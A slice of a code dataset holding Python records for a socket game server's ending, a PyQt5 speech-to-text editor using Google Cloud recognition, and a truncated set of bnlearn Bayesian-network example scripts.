msg+=\"\\nCycle completed!\\nDo you want to continue?(y/n): \"\n\n # Running thrreads to send the game winner message and asking wether they want to continue or not.\n with ThreadPoolExecutor() as executor:\n p_moves = executor.map(print_and_ask, conn_list, [msg]*TOT_PLAYERS)\n for x in p_moves:\n if not x:\n return 0\n return round_counter+1\n\n\n# Fuction used for threading in the above function\ndef print_and_ask(conn, msg):\n conn.sendall(msg.encode('utf-8'))\n response = conn.recv(1024)\n response = int(response.decode('utf-8'))\n if response: \n return(1)\n \n\n# main programme\nif __name__ == \"__main__\":\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n try:\n s.bind((HOST, PORT))\n except:\n print(f\"unable to bind to port {PORT}\")\n print(\"Please try again after some time\")\n exit(1)\n\n # Connecting to all the players,\n # and sending them their data and totol number of round.\n s.listen(TOT_PLAYERS)\n for a in range(TOT_PLAYERS):\n conn, addr = s.accept()\n conn_list.append(conn)\n addr_list.append(addr)\n print(\"connected to:\", addr)\n\n win_counts[str(a+1)] = 0\n players.append(str(a+1))\n player_data = str(a)+','+str(rounds)\n conn.sendall(player_data.encode('utf-8'))\n\n game_manager()\n\n print(\"Game successfully completed.!\")","sub_path":"task1/casino.py","file_name":"casino.py","file_ext":"py","file_size_in_byte":5010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"360393861","text":"import sys\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5 import QtCore, QtPrintSupport\nimport speech_recognition as sr\nimport sys\nfrom PyQt5 import QtQuick\nfrom PyQt5 import QtGui\nfrom PyQt5 import QtCore\nfrom PyQt5.QtCore import *\nfrom PyQt5 import QtWidgets\nimport os\nfrom tqdm import tqdm\nfrom multiprocessing.dummy import Pool\n\n\nclass Main(QMainWindow):\n\n def __init__(self):\n QMainWindow.__init__(self)\n self.initUI()\n\n def initUI(self):\n\n # Toolbar\n\n # Upper Toolbar\n aboutAction = QAction(QIcon(\"icons/about.png\"), \"About\", self)\n aboutAction.setStatusTip(\"About\")\n aboutAction.triggered.connect(self.About)\n\n usergdAction =QAction(QIcon(\"icons/usergd.png\"), \"User Guide\",self)\n usergdAction.setStatusTip(\"User Guide\")\n usergdAction.triggered.connect(self.Guide)\n\n updateAction = QAction(QIcon(\"icons/update.png\"),\"Check for updates\", self)\n updateAction.setStatusTip(\"Check for updates\")\n updateAction.triggered.connect(self.Update)\n\n feedbackAction = QAction(QIcon(\"icons/feedback.png\"), \"Feedback\", self)\n feedbackAction.setStatusTip(\"Feedback\")\n feedbackAction.triggered.connect(self.Feedback)\n\n recordAction = QAction(QIcon(\"icons/record.png\"), \"Record\", self)\n recordAction.setShortcut(\"Ctrl+D\")\n recordAction.setStatusTip(\"Start a new recording\")\n recordAction.triggered.connect(self.Record)\n\n newAction = QAction(QIcon(\"icons/new.png\"), \"New\", self)\n newAction.setShortcut(\"Ctrl+N\")\n newAction.setStatusTip(\"Create a new document from scratch.\")\n newAction.triggered.connect(self.New)\n\n openAction = QAction(QIcon(\"icons/open.png\"), \"Open file\", self)\n openAction.setStatusTip(\"Open existing document\")\n openAction.setShortcut(\"Ctrl+O\")\n openAction.triggered.connect(self.Open)\n\n saveAction = QAction(QIcon(\"icons/save.png\"), \"Save\", self)\n saveAction.setStatusTip(\"Save document\")\n saveAction.setShortcut(\"Ctrl+S\")\n saveAction.triggered.connect(self.Save)\n\n save_asAction = QAction(QIcon(\"icons/save_as.png\"), \"Save As\", self)\n save_asAction.setStatusTip(\"Save document\")\n save_asAction.setShortcut(\"Shift+Ctrl+S\")\n save_asAction.triggered.connect(self.Save_As)\n\n closeAction = QAction(QIcon(\"icons/close.png\"), \"Exit\", self)\n closeAction.setStatusTip(\"Exit Speech writer\")\n closeAction.setShortcut(\"Ctrl+Q\")\n closeAction.triggered.connect(self.Close)\n\n allAction = QAction(QIcon(\"icons/all.png\"), \"Select All\", self)\n allAction.setStatusTip(\"Select all text in clipboard\")\n allAction.setShortcut(\"Ctrl+A\")\n allAction.triggered.connect(self.All)\n\n cutAction = QAction(QIcon(\"icons/cut.png\"), \"Cut to clipboard\", self)\n cutAction.setStatusTip(\"Delete and copy text to clipboard\")\n cutAction.setShortcut(\"Ctrl+X\")\n cutAction.triggered.connect(self.Cut)\n\n copyAction = QAction(QIcon(\"icons/copy.png\"), \"Copy to clipboard\", self)\n copyAction.setStatusTip(\"Copy text to clipboard\")\n copyAction.setShortcut(\"Ctrl+C\")\n copyAction.triggered.connect(self.Copy)\n\n pasteAction = QAction(QIcon(\"icons/paste.png\"), \"Paste from clipboard\", self)\n pasteAction.setStatusTip(\"Paste text from clipboard\")\n pasteAction.setShortcut(\"Ctrl+V\")\n pasteAction.triggered.connect(self.Paste)\n\n undoAction = QAction(QIcon(\"icons/undo.png\"), \"Undo last action\", self)\n undoAction.setStatusTip(\"Undo last action\")\n undoAction.setShortcut(\"Ctrl+Z\")\n undoAction.triggered.connect(self.Undo)\n\n redoAction = QAction(QIcon(\"icons/redo.png\"), \"Redo last undone thing\", self)\n redoAction.setStatusTip(\"Redo last undone thing\")\n redoAction.setShortcut(\"Ctrl+Y\")\n redoAction.triggered.connect(self.Redo)\n\n printAction = QAction(QIcon(\"icons/print.png\"), \"Print document\", self)\n printAction.setStatusTip(\"Print document\")\n printAction.setShortcut(\"Ctrl+P\")\n printAction.triggered.connect(self.Print)\n\n self.toolbar = self.addToolBar(\"Options\")\n self.toolbar.addAction(recordAction)\n\n self.toolbar.addSeparator()\n\n self.toolbar.addAction(newAction)\n self.toolbar.addAction(openAction)\n self.toolbar.addAction(saveAction)\n self.toolbar.addAction(save_asAction)\n self.toolbar.addSeparator()\n\n self.toolbar.addAction(printAction)\n\n self.toolbar.addSeparator()\n\n self.toolbar.addAction(allAction)\n self.toolbar.addAction(cutAction)\n self.toolbar.addAction(copyAction)\n self.toolbar.addAction(pasteAction)\n self.toolbar.addAction(undoAction)\n self.toolbar.addAction(redoAction)\n\n self.toolbar.addSeparator()\n\n self.toolbar.addAction(aboutAction)\n self.toolbar.addAction(usergdAction)\n self.toolbar.addAction(updateAction)\n self.toolbar.addAction(feedbackAction)\n self.toolbar.addSeparator()\n\n self.addToolBarBreak()\n\n # Lower Toolbar\n\n self.fontFamily = QFontComboBox(self)\n self.fontFamily.currentFontChanged.connect(self.FontFamily)\n\n fontSize = QComboBox(self)\n fontSize.setEditable(True)\n fontSize.setMinimumContentsLength(3)\n fontSize.activated.connect(self.FontSize)\n flist = [6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 18, 20, 22, 24, 26, 28, 32, 36, 40, 44, 48,\n 54, 60, 66, 72, 80, 88, 96]\n\n for i in flist:\n fontSize.addItem(str(i))\n\n fontColor = QAction(\"Change font color\", self)\n fontColor.triggered.connect(self.FontColor)\n\n boldAction = QAction(QIcon(\"icons/bold.png\"), \"Bold\", self)\n boldAction.setShortcut(\"Ctrl+B\")\n boldAction.triggered.connect(self.Bold)\n\n italicAction = QAction(QIcon(\"icons/italic.png\"), \"Italic\", self)\n italicAction.setShortcut(\"Ctrl+I\")\n italicAction.triggered.connect(self.Italic)\n\n underlAction = QAction(QIcon(\"icons/undl.png\"), \"Underline\", self)\n underlAction.setShortcut(\"Ctrl+U\")\n underlAction.triggered.connect(self.Underl)\n\n # Alignment\n\n rightAlign = QAction(QIcon(\"icons/right.png\"), \"Align Right\", self)\n rightAlign.setShortcut(\"Ctrl+R\")\n rightAlign.triggered.connect(self.rightAlign)\n\n centerAlign = QAction(QIcon(\"icons/center.png\"), \"Align Center\", self)\n centerAlign.setShortcut(\"Ctrl+E\")\n centerAlign.triggered.connect(self.centerAlign)\n\n justifyAlign = QAction(QIcon(\"icons/justify.png\"), \"Align Justify\", self)\n justifyAlign.setShortcut(\"Ctrl+J\")\n justifyAlign.triggered.connect(self.justifyAlign)\n\n leftAlign = QAction(QIcon(\"icons/left.png\"), \"Align Left\", self)\n leftAlign.setShortcut(\"Ctrl+L\")\n leftAlign.triggered.connect(self.leftAlign)\n\n insertBullets = QAction(QIcon(\"icons/checklist.png\"), \"Insert Bullet List\", self)\n insertBullets.triggered.connect(self.insertBullet)\n\n insertNumber = QAction(QIcon(\"icons/num.png\"), \"insert Number List\", self)\n insertNumber.triggered.connect(self.insertNumber)\n\n space1 = QLabel(\" \", self)\n space2 = QLabel(\" \", self)\n space3 = QLabel(\" \", self)\n\n self.formatbar = self.addToolBar(\"Format\")\n self.formatbar.addWidget(self.fontFamily)\n self.formatbar.addWidget(space1)\n self.formatbar.addWidget(fontSize)\n self.formatbar.addWidget(space2)\n\n self.formatbar.addSeparator()\n\n self.formatbar.addAction(fontColor)\n\n self.formatbar.addSeparator()\n\n self.formatbar.addAction(boldAction)\n self.formatbar.addAction(italicAction)\n self.formatbar.addAction(underlAction)\n\n self.formatbar.addSeparator()\n\n self.formatbar.addAction(rightAlign)\n self.formatbar.addAction(leftAlign)\n self.formatbar.addAction(centerAlign)\n self.formatbar.addAction(justifyAlign)\n\n self.formatbar.addSeparator()\n\n self.formatbar.addAction(insertNumber)\n self.formatbar.addAction(insertBullets)\n\n self.formatbar.addSeparator()\n\n self.formatbar.addSeparator()\n\n # Text Edit\n\n self.text = QTextEdit(self)\n self.text.setTabStopWidth(12)\n self.setCentralWidget(self.text)\n\n # Statusbar\n\n self.status = self.statusBar()\n\n self.text.cursorPositionChanged.connect(self.CursorPosition)\n\n # Window settings\n self.setGeometry(100, 100, 1200, 900)\n self.setWindowTitle(\"STT EDITOR\")\n self.setWindowIcon(QIcon(\"icons/logo2.png\"))\n self.show()\n\n # Menubar\n\n menubar = self.menuBar()\n file = menubar.addMenu(\"File\")\n edit = menubar.addMenu(\"Edit\")\n formart = menubar.addMenu(\"Format\")\n help = menubar.addMenu(\"Help\")\n\n file.addAction(recordAction)\n file.addAction(newAction)\n file.addAction(openAction)\n file.addAction(saveAction)\n file.addAction(save_asAction)\n file.addAction(printAction)\n file.addAction(closeAction)\n\n edit.addAction(undoAction)\n edit.addAction(redoAction)\n edit.addAction(allAction)\n edit.addAction(cutAction)\n edit.addAction(copyAction)\n edit.addAction(pasteAction)\n\n help.addAction(aboutAction)\n help.addAction(usergdAction)\n help.addAction(updateAction)\n help.addAction(feedbackAction)\n\n formart.addAction(boldAction)\n formart.addAction(italicAction)\n formart.addAction(underlAction)\n formart.addAction(rightAlign)\n formart.addAction(leftAlign)\n formart.addAction(centerAlign)\n formart.addAction(justifyAlign)\n formart.addAction(insertBullets)\n formart.addAction(insertNumber)\n\n # Toolbar slots\n\n def New(self):\n self.text.clear()\n\n def Record(self):\n pool = Pool(8) # Number of concurrent threads\n\n with open('/home/shimuli/PycharmProjects/example/api-key.json') as f:\n GOOGLE_CLOUD_SPEECH_CREDENTIALS = f.read()\n\n r = sr.Recognizer()\n files = sorted(os.listdir('/home/shimuli/Desktop/parts/keep/'))\n\n def transcribe(data):\n idx, file = data\n name = '/home/shimuli/Desktop/parts/keep/' + file\n print(name + \" started\")\n # Load audio file\n with sr.AudioFile(name) as source:\n audio = r.record(source)\n # Transcribe audio file\n text = r.recognize_google_cloud(audio, credentials_json=GOOGLE_CLOUD_SPEECH_CREDENTIALS)\n print(name + \" done\")\n return {\n \"idx\": idx,\n \"text\": text\n }\n\n all_text = pool.map(transcribe, enumerate(files))\n pool.close()\n pool.join()\n\n transcript = \"\"\n for t in sorted(all_text, key=lambda x: x['idx']):\n total_seconds = t['idx'] * 30\n # Cool shortcut from:\n # https://stackoverflow.com/questions/775049/python-time-seconds-to-hms\n # to get hours, minutes and seconds\n m, s = divmod(total_seconds, 60)\n h, m = divmod(m, 60)\n\n # Format time as h:m:s - 30 seconds of text\n transcript = transcript + \"{:0>2d}:{:0>2d}:{:0>2d} {}\\n\".format(h, m, s, t['text'])\n\n print(transcript)\n\n with open(\"transcript.txt\", \"w\") as f:\n self.text.setText(transcript)\n #self.text.clear()\n\n #with sr.AudioFile(sound2) as source:\n #sound2 = r.listen(source)\n # try:\n #text = r.recognize_google(sound2)\n #self.text.setText(text)\n #except Exception as e:\n #print(\"Network error\")\n\n def Open(self):\n filename = QFileDialog.getOpenFileName(self, 'Open File')\n f = open(filename, 'r')\n filedata = f.read()\n self.text.setText(filedata)\n f.close()\n\n def Save_As(self):\n filename = QFileDialog.getSaveFileName(self, 'Save File', '/', '.txt')[0]\n f = open(filename, 'w')\n filedata = self.text.toPlainText()\n f.write(filedata)\n f.close()\n\n def Save(self):\n # Only open dialog if there is no filename yet\n #if not self.filename:\n #self.filename = QFileDialog.getSaveFileName(self, 'Save File')\n\n # Append extension if not there yet\n #if not self.filename.endswith(\".writer\"):\n #self.filename += \".writer\"\n\n # We just store the contents of the text file along with the\n # format in html, which Qt does in a very nice way for us\n #with open(self.filename, \"wt\") as file:\n #file.write(self.text.toHtml())\n\n filename = self.text.toPlainText()\n with open('Recovered.doc', 'w') as f:\n f.write(filename)\n\n def PageView(self):\n preview = QtPrintSupport.QPrintPreviewDialog()\n preview.paintRequested.connect(self.PaintPageView)\n preview.exec_()\n\n def Print(self):\n dialog = QtPrintSupport.QPrintDialog()\n if dialog.exec_() == QDialog.Accepted:\n self.text.document().print_(dialog.printer())\n\n def PDF(self):\n printer = QtPrintSupport.QPrinter()\n printer.setOutputFormat(printer.NativeFormat)\n\n dialog = QtPrintSupport.QPrintDialog(printer)\n dialog.setOption(dialog.PrintToFile)\n if dialog.exec_() == QDialog.Accepted:\n self.text.document().print_(dialog.printer())\n\n def Close(self):\n sys.exit()\n\n def Undo(self):\n self.text.undo()\n\n def Redo(self):\n self.text.redo()\n\n def Cut(self):\n self.text.cut()\n\n def Copy(self):\n self.text.copy()\n\n def All(self):\n self.text.selectAll()\n\n def Paste(self):\n self.text.paste()\n\n def CursorPosition(self):\n line = self.text.textCursor().blockNumber()\n col = self.text.textCursor().columnNumber()\n linecol = (\"Line: \" + str(line) + \" | \" + \"Column: \" + str(col))\n self.status.showMessage(linecol)\n\n def FontFamily(self, font):\n font = QFont(self.fontFamily.currentFont())\n self.text.setCurrentFont(font)\n\n def FontSize(self, fsize):\n size = (int(fsize))\n self.text.setFontPointSize(size)\n\n def FontColor(self):\n c = QColorDialog.getColor()\n\n self.text.setTextColor(c)\n\n def Bold(self):\n w = self.text.fontWeight()\n if w == 50:\n self.text.setFontWeight(QFont.Bold)\n elif w == 75:\n self.text.setFontWeight(QFont.Normal)\n\n def Italic(self):\n i = self.text.fontItalic()\n\n if i == False:\n self.text.setFontItalic(True)\n elif i == True:\n self.text.setFontItalic(False)\n\n def Underl(self):\n ul = self.text.fontUnderline()\n\n if ul == False:\n self.text.setFontUnderline(True)\n elif ul == True:\n self.text.setFontUnderline(False)\n\n def rightAlign(self):\n self.text.setAlignment(Qt.AlignRight)\n\n def leftAlign(self):\n self.text.setAlignment(Qt.AlignLeft)\n\n def centerAlign(self):\n self.text.setAlignment(Qt.AlignCenter)\n\n def justifyAlign(self):\n self.text.setAlignment(Qt.AlignJustify)\n\n def insertBullet(self):\n self.text.insertHtml(\"
  • .
\")\n\n def insertNumber(self):\n self.text.insertHtml(\"
  1. .
\")\n\n def About(self):\n msg = QMessageBox()\n\n msg.setIcon(QMessageBox.Information)\n #msg.setStyleSheet(\"QLabel{min-width:500 px; font-size: 14px;}\")\n #msg.setSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\n #msg.resize(100, 200)\n\n msg.setText(\"About\")\n msg.setInformativeText(\"A modern, simple-to-use,open source product\"\n \" suite for word processing, speech to text processing and normal editor operation.\")\n msg.setWindowTitle(\"\")\n msg.setDetailedText(\"Version: STT EDITOR(1.0.0)\\n\"\n \"Update: First version(1.0.0)\\n\"\n \"System Support: Linux and Windows\\n\"\n \"User Directory: /home/shimuli/PycharmPr\\n\"\n \"Copyright © 2018\\n\")\n msg.setStandardButtons(QMessageBox.Ok)\n\n retval = msg.exec_()\n\n def Guide(self):\n url = QtCore.QUrl(\"https://stt-editor.firebaseapp.com/\")\n\n QDesktopServices.openUrl(url)\n\n def Update(self):\n reponse = QMessageBox.information(self, \"Check for updates\",\n \"You are using the latest version STT EDITOR (1.0.0)\",\n QMessageBox.Cancel)\n\n def Feedback(self):\n url = QtCore.QUrl(\"mailto:csmadegwa@student.mmust.ac.ke\")\n\n QDesktopServices.openUrl(url)\n\n\ndef main():\n app = QApplication(sys.argv)\n main = Main()\n main.show()\n\n sys.exit(app.exec_())\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":17257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"151045742","text":"# %%\nimport bnlearn as bn\nprint(bn.__version__)\nprint(dir(bn))\n\nprint(dir(bn.structure_learning))\nprint(dir(bn.parameter_learning))\nprint(dir(bn.inference))\n\n# %% Save and load trained models\n# Import example\ndf = bn.import_example(data='asia')\n# Learn structure\nmodel = bn.structure_learning.fit(df, methodtype='tan', class_node='lung')\n# Save model\nbn.save(model, filepath='bnlearn_model', overwrite=True)\n# Load model\nmodel = bn.load(filepath='bnlearn_model')\n\n\n# %% CHECK DIFFERENCES PGMPY vs. BNLEARN\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom pgmpy.estimators import TreeSearch\nfrom pgmpy.models import BayesianModel\nimport networkx as nx\nimport bnlearn as bnlearn\nfrom pgmpy.inference import VariableElimination\nfrom pgmpy.estimators import BDeuScore, K2Score, BicScore\nimport bnlearn as bn\n\n\ndf=bnlearn.import_example(data='andes')\n\n# PGMPY\nest = TreeSearch(df)\ndag = est.estimate(estimator_type=\"tan\",class_node='DISPLACEM0')\nbnq = BayesianModel(dag.edges())\nbnq.fit(df, estimator=None) # None means maximum likelihood estimator\nbn_infer = VariableElimination(bnq)\nq = bn_infer.query(variables=['DISPLACEM0'], evidence={'RApp1':1})\nprint(q)\n\n# BNLEARN\nmodel = bnlearn.structure_learning.fit(df, methodtype='tan', class_node='DISPLACEM0', scoretype='bic')\nmodel_bn = bnlearn.parameter_learning.fit(model, df, methodtype='ml') # maximum likelihood estimator\nquery=bnlearn.inference.fit(model_bn, variables=['DISPLACEM0'], evidence={'RApp1':1})\n\n# DAG COMPARISON\nassert np.all(model_bn['adjmat']==model['adjmat'])\nassert dag.edges()==model['model'].edges()\nassert dag.edges()==model['model_edges']\n\n# COMPARE THE CPDs names\nqbn_cpd = []\nbn_cpd = []\nfor cpd in bnq.get_cpds(): qbn_cpd.append(cpd.variable)\nfor cpd in model_bn['model'].get_cpds(): bn_cpd.append(cpd.variable)\n\nassert len(bn_cpd)==len(qbn_cpd)\nassert np.all(np.isin(bn_cpd, qbn_cpd))\n\n# COMPARE THE CPD VALUES\nnr_diff = 0\nfor cpd_bnlearn in model_bn['model'].get_cpds():\n for cpd_pgmpy in bnq.get_cpds():\n if cpd_bnlearn.variable==cpd_pgmpy.variable:\n assert np.all(cpd_bnlearn.values==cpd_pgmpy.values)\n # if not np.all(cpd_bnlearn.values==cpd_pgmpy.values):\n # print('%s-%s'%(cpd_bnlearn.variable, cpd_pgmpy.variable))\n # print(cpd_bnlearn)\n # print(cpd_pgmpy)\n # nr_diff=nr_diff+1\n # input('press enter to see the next difference in CPD.')\n\n\n#%% Example of interactive plotting\nfrom pgmpy.estimators import TreeSearch\nfrom pgmpy.models import BayesianModel\nimport bnlearn as bn\n\n# Import example\ndf = bn.import_example(data='asia')\n\n# Do the tan learning\nest = TreeSearch(df)\ndag = est.estimate(estimator_type=\"tan\",class_node='lung')\n\n# And now with bnlearn\nmodel = bn.structure_learning.fit(df, methodtype='tan', class_node='lung')\n\n# Compare results\nassert dag.edges()==model['model'].edges()\nassert dag.edges()==model['model_edges']\n\n\n\nfrom pgmpy.inference import VariableElimination\nbnp = BayesianModel(dag.edges())\nbn_infer = VariableElimination(bnp)\nbnp.fit(df)\n\na = bn_infer.query(variables=['Target'], evidence={'X':'c'})\nprint(a)\n\n#%% Example of interactive plotting\nimport bnlearn as bn\n\n# Load example dataset\ndf = bn.import_example(data='asia')\n\n# Structure learning\nmodel = bn.structure_learning.fit(df)\n\nbn.plot(model, interactive=False)\n\n# Add some parameters for the interactive plot\nbn.plot(model, interactive=True, params = {'height':'600px'})\n\n# Add more parameters for the interactive plot\nbn.plot(model, interactive=True, params = {'directed':True, 'height':'800px', 'width':'70%', 'notebook':False, 'heading':'bnlearn causal diagram', 'layout':None, 'font_color': False, 'bgcolor':'#ffffff'})\n\n# %% TAN : Tree-augmented Naive Bayes (TAN)\n# https://pgmpy.org/examples/Structure%20Learning%20with%20TAN.html\nimport bnlearn as bn\n\ndf = bn.import_example()\n# Structure learning\nmodel = bn.structure_learning.fit(df)\n# bn.plot(model)\nbn.plot(model, interactive=True)\n# bn.plot(model, interactive=True, params = {'height':'800px'})\n\n\n# %% Large dataset\nimport pandas as pd\ndf=pd.read_csv('c:/temp/features.csv')\nmodel = bn.structure_learning.fit(df.iloc[:,0:1000], methodtype='cl', root_node='21')\nmodel = bn.structure_learning.fit(df.iloc[:,0:100], methodtype='cs')\nbn.plot(model)\n\n# %% White_list edges\nimport bnlearn as bn\nDAG = bn.import_DAG('asia')\n# plot ground truth\ndf = bn.sampling(DAG, n=1000)\n\n# Structure learning with black list\nmodel = bn.structure_learning.fit(df, methodtype='hc', white_list=[('tub','lung'), ('smoke','bronc')], bw_list_method='edges')\nbn.plot(model)\nmodel = bn.structure_learning.fit(df, methodtype='hc', white_list=['tub','lung', 'smoke','bronc'], bw_list_method='nodes')\nbn.plot(model)\nmodel = bn.structure_learning.fit(df, methodtype='hc')\nbn.plot(model)\n\n\n# %% TAN : Tree-augmented Naive Bayes (TAN)\n# https://pgmpy.org/examples/Structure%20Learning%20with%20TAN.html\nimport bnlearn as bn\n\ndf = bn.import_example()\n# Structure learning\nmodel = bn.structure_learning.fit(df, methodtype='tan', root_node='Cloudy', class_node='Rain', verbose=0)\nbn.plot(model)\nbn.plot(model, interactive=True)\n\n# %% Download example\nimport bnlearn as bn\nexamples = ['titanic', 'sprinkler', 'alarm', 'andes', 'asia', 'sachs', 'water', 'miserables']\nfor example in examples:\n df = bn.import_example(data=example)\n # assert ~df.empty\n\n# %%\nimport bnlearn as bn\ndf = bn.import_example()\nmodel = bn.structure_learning.fit(df)\nmodel = bn.structure_learning.fit(df, methodtype='hc')\n \n# %% Predict\nimport bnlearn as bn\n\ndf = bn.import_example('asia')\nedges = [('smoke', 'lung'),\n ('smoke', 'bronc'),\n ('lung', 'xray'),\n ('bronc', 'xray')]\n\n# Make the actual Bayesian DAG\nDAG = bn.make_DAG(edges, verbose=0)\nmodel = bn.parameter_learning.fit(DAG, df, verbose=3)\n# Generate some data based on DAG\ndf = bn.sampling(model, n=1000)\n# Make predictions\nPout = bn.predict(model, df, variables=['bronc','xray'])\n# query = bnlearn.inference.fit(model, variables=['bronc','xray'], evidence=evidence, to_df=False, verbose=0)\n# print(query)\n\n\n# %% topological sort example\nedges = [('1', '2'),\n ('1', '3'),\n ('2', '4'),\n ('2', '3'),\n ('3', '4'),\n ('3', '5'),\n ]\n\n# Make the actual Bayesian DAG\nDAG = bn.make_DAG(edges, verbose=0)\n# Plot\nbn.plot(DAG)\n# Topological ordering\nbn.topological_sort(DAG)\n\nbn.topological_sort(DAG, '3')\n\n# %%\nimport bnlearn as bn\nDAG = bn.import_DAG('sprinkler', verbose=0)\n\nbn.topological_sort(DAG, 'Rain')\nbn.topological_sort(DAG)\n\n# Different inputs\nbn.topological_sort(DAG['adjmat'], 'Rain')\nbn.topological_sort(bn.adjmat2vec(DAG['adjmat']), 'Rain')\n\n# %%\n\nimport bnlearn as bn\nDAG = bn.import_DAG('sprinkler')\ndf = bn.sampling(DAG, n=1000, verbose=0)\nmodel = bn.structure_learning.fit(df, methodtype='chow-liu', root_node='Wet_Grass')\nG = bn.plot(model)\n\nbn.topological_sort(model, 'Rain')\n\n# %%\n# Example dataframe sprinkler_data.csv can be loaded with:\ndf = bn.import_example()\n# df = pd.read_csv('sprinkler_data.csv')\nmodel = bn.structure_learning.fit(df)\nG = bn.plot(model)\n\n# %% Load example dataframe from sprinkler\nimport bnlearn as bn\nDAG = bn.import_DAG('sprinkler', verbose=0)\ndf = bn.sampling(DAG, n=1000, verbose=0)\n\n# Structure learning\nmodel = bn.structure_learning.fit(df, verbose=0)\n# Plot\nG = bn.plot(model)\n\nmodel_hc_bic = bn.structure_learning.fit(df, methodtype='hc', scoretype='bic', verbose=0)\n\n# %% Chow-Liu algorithm\nDAG = bn.import_DAG('sprinkler', verbose=0)\ndf = bn.sampling(DAG, n=1000, verbose=0)\n\n# Structure learning\nmodel_hc_bic = bn.structure_learning.fit(df, methodtype='cl', root_node='Cloudy', verbose=0)\nG = bn.plot(model)\n\n# %% Load example dataframe from sprinkler\nimport bnlearn as bn\nDAG = bn.import_DAG('alarm', verbose=0)\nto_vector = bn.adjmat2vec(DAG['adjmat'])\nto_adjmat = bn.vec2adjmat(to_vector['source'], to_vector['target'])\n\n# %% Load example dataframe from sprinkler\nimport bnlearn as bn\ndf = bn.import_example('sprinkler')\n# Structure learning\nmodel = bn.structure_learning.fit(df, verbose=0)\n# Plot\nG = bn.plot(model, verbose=0)\n\nmodel_hc_bic = bn.structure_learning.fit(df, methodtype='hc', scoretype='bic', verbose=0)\n\n# %% Try all methods vs score types\nimport bnlearn as bn\ndf = bn.import_example()\n\nmodel_hc_bic = bn.structure_learning.fit(df, methodtype='hc', scoretype='bic')\nmodel_hc_k2 = bn.structure_learning.fit(df, methodtype='hc', scoretype='k2')\nmodel_hc_bdeu = bn.structure_learning.fit(df, methodtype='hc', scoretype='bdeu')\nmodel_ex_bic = bn.structure_learning.fit(df, methodtype='ex', scoretype='bic')\nmodel_ex_k2 = bn.structure_learning.fit(df, methodtype='ex', scoretype='k2')\nmodel_ex_bdeu = bn.structure_learning.fit(df, methodtype='ex', scoretype='bdeu')\nmodel_cs_k2 = bn.structure_learning.fit(df, methodtype='cs', scoretype='k2')\nmodel_cs_bdeu = bn.structure_learning.fit(df, methodtype='cs', scoretype='bdeu')\nmodel_cl = bn.structure_learning.fit(df, methodtype='cl', root_node='Cloudy')\n\nG = bn.plot(model_hc_bic, verbose=0)\n\nbn.compare_networks(model_hc_bic, model_cl, pos=G['pos'], verbose=0)\n\n# %% Example with dataset\nimport bnlearn as bn\nDAG = bn.import_DAG('sprinkler', verbose=3)\n# Print cpds\nbn.print_CPD(DAG)\n# plot ground truth\nG = bn.plot(DAG, verbose=0)\ndf = bn.sampling(DAG, n=100, verbose=3)\n\n# %% Inference using custom DAG\nimport bnlearn as bn\n# Load asia DAG\ndf = bn.import_example('asia')\n# from tabulate import tabulate\n# print(tabulate(df.head(), tablefmt=\"grid\", headers=\"keys\"))\nprint(df)\n\nedges = [('smoke', 'lung'),\n ('smoke', 'bronc'),\n ('lung', 'xray'),\n ('bronc', 'xray')]\n\n# edges = [('smoke', 'xray'),\n # ('bronc', 'lung')]\n\n# Make the actual Bayesian DAG\nDAG = bn.make_DAG(edges, verbose=0)\nbn.save(DAG, overwrite=True)\nDAG1 = bn.load()\n\n# Plot the DAG\nbn.plot(DAG1, verbose=0)\n# Print the CPDs\nbn.print_CPD(DAG)\n\n# Sampling\n# df_sampling = bn.sampling(DAG, n=1000)\n\n# Learn its parameters from data and perform the inference.\nDAG = bn.parameter_learning.fit(DAG, df, verbose=3)\n# Print the CPDs\nbn.print_CPD(DAG)\n\n# Sampling\ndf_sampling = bn.sampling(DAG, n=1000)\n\n# Make inference\nq1 = bn.inference.fit(DAG, variables=['lung'], evidence={'smoke':1}, verbose=3)\nq2 = bn.inference.fit(DAG, variables=['bronc'], evidence={'smoke':1}, verbose=0)\nq3 = bn.inference.fit(DAG, variables=['lung'], evidence={'smoke':1, 'bronc':1})\nq4 = bn.inference.fit(DAG, variables=['bronc','lung'], evidence={'smoke':1, 'xray':0})\nq4 = bn.inference.fit(DAG, variables=['bronc','lung'], evidence={'smoke':0, 'xray':0})\n\nbn.topological_sort(DAG)\n\nbn.query2df(q4)\n\n# DAGmle = bn.parameter_learning.fit(DAG, df, methodtype='maximumlikelihood')\n# bn.print_CPD(DAGmle)\n# bn.print_CPD(DAGbay)\n\n# # Make inference\n# q1 = bn.inference.fit(DAGmle, variables=['lung'], evidence={'smoke':1})\n# q2 = bn.inference.fit(DAGmle, variables=['bronc'], evidence={'smoke':1})\n# q3 = bn.inference.fit(DAGmle, variables=['lung'], evidence={'smoke':1, 'bronc':1})\n# q4 = bn.inference.fit(DAGmle, variables=['bronc','lung'], evidence={'smoke':1, 'xray':0})\n\n# bn.compare_networks(DAGbay, DAGnew)\n# bn.compare_networks(DAGnew, DAGbay)\n\n# %% predict\n\ndf = bn.sampling(DAG, n=100)\nout = bn.predict(DAG, df, variables='bronc')\nout = bn.predict(DAG, df, variables=['bronc','xray'])\nout = bn.predict(DAG, df, variables=['bronc','xray','smoke'])\n\nprint('done\\n\\n')\nprint(out)\n\n# %% compute causalities\n# Load asia DAG\nimport bnlearn as bn\ndf = bn.import_example('asia', verbose=0)\n# print(tabulate(df.head(), tablefmt=\"grid\", headers=\"keys\"))\n# print(df)\n\n# Structure learning\nmodel = bn.structure_learning.fit(df, verbose=0)\n# Plot the DAG\nbn.plot(model, verbose=0)\n# Print the CPDs\nbn.print_CPD(model)\n# Comparison\n\n# Learn its parameters from data and perform the inference.\nDAG = bn.parameter_learning.fit(model, df, methodtype='bayes', verbose=0)\n# Print the CPDs\nbn.print_CPD(DAG)\n\n# Nothing is changed for the DAG. Only the CPDs are estimated now.\nbn.compare_networks(DAG, model, verbose=0)\n\n# Make inference\nq4 = 